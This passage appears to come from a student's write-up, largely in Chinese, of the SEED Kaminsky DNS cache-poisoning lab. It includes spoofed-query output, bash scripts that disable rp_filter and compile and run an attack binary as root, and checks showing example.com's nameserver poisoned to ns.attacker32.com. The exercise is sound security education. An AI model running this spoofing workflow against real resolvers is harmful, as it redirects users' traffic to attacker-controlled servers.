Sending DNS request for name: aacas.example.com  
Sending DNS request for name: iiwqe.example.com  
Sending DNS request for name: cnlsm.example.com  
Sending DNS request for name: imtkn.example.com  
Sending DNS request for name: vrwap.example.com  
Sending DNS request for name: vbrug.example.com  
Sending DNS request for name: pwirx.example.com  
Sending DNS request for name: bbhxr.example.com  
Sending DNS request for name: mcezw.example.com  
Sending DNS request for name: shior.example.com  
Sending DNS request for name: xljul.example.com  
Sending DNS request for name: arosl.example.com  
Sending DNS request for name: wjkfd.example.com  
Sending DNS request for name: hgeqf.example.com  
Sending DNS request for name: wcjcb.example.com  
Sending DNS request for name: gxlqn.example.com  
^C  
[04/27/26]seed@VM:~/.../Labsetup-DNS$
```

```
#!/bin/bash  
# 在本地 DNS 容器内执行 rndc (无需在 VM 上单独安装 bind9-dnsutils)  
# 用法: ./scripts/rndc_local_dns.sh dump|flush|grep  
set -euo pipefail  
DNS_CTN="${DNS_CTN:-local-dns-server-10.9.0.53}"  
CMD="${1:-help}"  
  
case "$CMD" in  
    dump)  
        docker exec "$DNS_CTN" rndc dumpdb -cache  
        echo "缓存已写入容器内 /var/cache/bind/dump.db"  
        ;;  
    flush)  
        docker exec "$DNS_CTN" rndc flush  
        echo "已执行 rndc flush"  
        ;;  
    grep)  
        docker exec "$DNS_CTN" rndc dumpdb -cache
```

```

docker exec "$DNS_CTN" sh -c '
    f=/var/cache/bind/dump.db
    if grep -qiE "attacker32|ns\.attacker|attacker" "$f" 2>/dev/null; then
        echo ">>> 命中与攻击者域相关的缓存行: "
        grep -iE "attacker32|ns\.attacker|attacker" "$f" | head -40
    else
        echo "(未匹配 attacker32 / attacker; 可能尚未投毒成功、需先 sudo bash
scripts/run_task4_attack.sh, 或确认已关闭 rp_filter)"
        echo "--- 下列为 dump 中含 example.com 的少量行 (便于人工查看 NS 是否异常) ---"
        grep -F "example.com" "$f" 2>/dev/null | head -25 || true
    fi
'
;;
help|*)
    echo "用法: $0 dump|flush|grep"
    echo "  dump - rndc dumpdb -cache"
    echo "  flush - rndc flush 清空缓存"
    echo "  grep - dump 后在 dump.db 中 grep attacker (Task 4 验证)"
;;
esac

```

```

#!/bin/bash
# 将攻击所需文件复制到 ./volumes (供 seed-attacker 容器 /volumes 使用)
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
mkdir -p "$ROOT/volumes"
cp -f "$ROOT/Files/attack.c" "$ROOT/volumes/attack.c"
cp -f "$ROOT/Files/task2_construct_request.py" "$ROOT/volumes/" 2>/dev/null || true
cp -f "$ROOT/Files/task3_spoof_reply.py" "$ROOT/volumes/" 2>/dev/null || true
cp -f "$ROOT/Files/generate_dns_templates.py" "$ROOT/volumes/" 2>/dev/null || true
cp -f "$ROOT/Files/sniff_spoof_kaminsky.py" "$ROOT/volumes/" 2>/dev/null || true

# 发往 10.9.0.53 的查询模板 IP 源地址: 须与「本机发往该地址」的实际源 IP 一致, 否则可能被 rp_filter 丢弃
或与 BIND 会话不匹配
if [[ -z "${SRC_IP:-}" ]] && command -v ip >/dev/null 2>&1; then
    SRC_IP="$(ip -4 route get 10.9.0.53 2>/dev/null | awk '/ src / {for (i = 1; i <= NF; i++)
if ($i == "src") { print $(i + 1); exit } }')")
fi
SRC_IP="${SRC_IP:-10.9.0.1}"

if command -v python3 >/dev/null 2>&1; then
    python3 -c "import scapy" 2>/dev/null || true
fi
if python3 -c "import scapy" 2>/dev/null; then
    echo "使用 --src-attacker=$SRC_IP 生成 ip_req.bin / ip_resp.bin (若路径特殊请手动:
SRC_IP=x.x.x.x $0)"
    python3 "$ROOT/Files/generate_dns_templates.py" --out-dir "$ROOT/volumes" --src-attacker
"$SRC_IP"
    python3 << PY
import socket
from pathlib import Path
p = Path("$ROOT/volumes/ip_req.bin")

```

```

if p.exists():
    src = socket.inet_ntoa(p.read_bytes()[12:16])
    print(f"已写入 ip_req.bin, IPv4 源地址为: {src} (应与 ip route get 10.9.0.53 中的 src 一致)")
PY
else
    echo "未检测到 scapy, 请安装: sudo apt-get install -y python3-scapy 或 pip3 install scapy"
    echo "然后运行: SRC_IP=你的宿主机到 10.9.0.53 的源 IP python3 Files/generate_dns_templates.py --out-dir volumes"
fi
echo "完成。在宿主机编译运行 (需 root, 攻击容器为 host 网络时与 VM 上运行等价):"
echo " cd $ROOT/volumes && sudo gcc -O2 -o attack attack.c && sudo ./attack"
echo "或: $ROOT/scripts/run_task4_attack.sh"
echo "或在 seed-attacker 容器内: cd /volumes && gcc -O2 -o attack attack.c && ./attack"

```

```

#!/bin/bash
# Task 4: 生成模板、关闭 rp_filter、编译并在宿主机以 root 运行 attack (需 Docker 已 up)
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
"$ROOT/scripts/setup_volumes.sh"

# 伪造响应的源 IP 为公网 NS, 必须关闭 rp_filter, 否则内核丢弃出站包 (攻击「静默失败」)
if [[ "${SKIP_SPOOF_SYSCTL:-}" != "1" ]]; then
    echo ">>> 临时关闭 rp_filter (否则伪造源 IP 的包无法到达 Apollo) ..."
    sudo bash "$ROOT/scripts/enable_spoof_sending.sh"
fi

cd "$ROOT/volumes"
echo "编译并启动攻击 (Ctrl+C 停止) ..."
sudo gcc -O2 -o attack attack.c
sudo ./attack

```

5.5 结果说明与截图

若投毒成功, `dump.db` 中可出现与 `ns.attacker32.com / attacker32` 相关的 NS 缓存记录。成功率与 CPU、网络时延、BIND 版本行为有关, 若多次未成功, 可增大 `FLOOD_PER_ROUND` (在 `attack.c` 中) 后重新编译。

```
bash scripts/rndc_local_dns.sh grep
```

```

[04/27/26]seed@VM:~/.../Labsetup-DNS$ bash scripts/rndc_local_dns.sh grep
>>> 命中与攻击者域相关的缓存行:
ns.attacker32.com.      615567  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
example.com.           777557  NS      ns.attacker32.com.
; ns.attacker32.com [v4 TTL 1767] [v6 TTL 10767] [v4 success] [v6 nxrrset]
[04/27/26]seed@VM:~/.../Labsetup-DNS$

```

6. Task 5: 攻击效果验证

6.1 任务要求

If the attack is successful, in the local DNS server's DNS cache, the NS record for `example.com` will become `ns.attacker32.com`. When this server receives a DNS query for any hostname inside the `example.com` domain, it will send a query to `ns.attacker32.com`, instead of sending to the domain's legitimate nameserver.

To verify whether your attack is successful or not, go to the User machine, run the following two `dig` commands. In the responses, the IP addresses for `www.example.com` should be the same for both commands, and it should be whatever you have included in the zone file on the Attacker nameserver.

```
// Ask the local DNS server to do the query
$ dig www.example.com
```

```
// Directly query the attacker32 nameserver
$ dig @ns.attacker32.com www.example.com
```

6.2 原理简述

投毒后, Apollo 认为 `example.com` 的权威为 `ns.attacker32.com`, 普通递归查询也会去问攻击者权威, 故与直接 `@ns.attacker32.com` 的结果一致。

6.3 运行指令

```
bash scripts/task5_verify.sh
```

```
#!/bin/bash
# Task 5: 攻击成功后对比两次 dig 的 www.example.com 地址 (User 容器)
set -euo pipefail
USER_CTN="${USER_CTN:-user-10.9.0.5}"

echo "=== Task 5: 验证 www.example.com (应与 zone_example.com 中 www 的 A 记录一致) ==="
docker exec "$USER_CTN" sh -c 'echo "--- 经本地 DNS ---" && dig +short www.example.com'
docker exec "$USER_CTN" sh -c 'echo "--- 直接 @ns.attacker32.com ---" && dig +short @ns.attacker32.com www.example.com'
echo "若攻击成功, 两行结果应相同, 且为攻击者 zone 中配置的地址 (本实验为 1.2.3.5)。"
```

6.4 截图

```
[04/27/26]seed@VM:~/.../Labsetup-DNS$ bash scripts/task5_verify.sh
=== Task 5: 验证 www.example.com (应与 zone_example.com 中 www 的 A 记录一致) ==
=
--- 经本地 DNS ---
1.2.3.5
--- 直接 @ns.attacker32.com ---
1.2.3.5
若攻击成功，两行结果应相同，且为攻击者 zone 中配置的地址（本实验为 1.2.3.5）。
[04/27/26]seed@VM:~/.../Labsetup-DNS$
```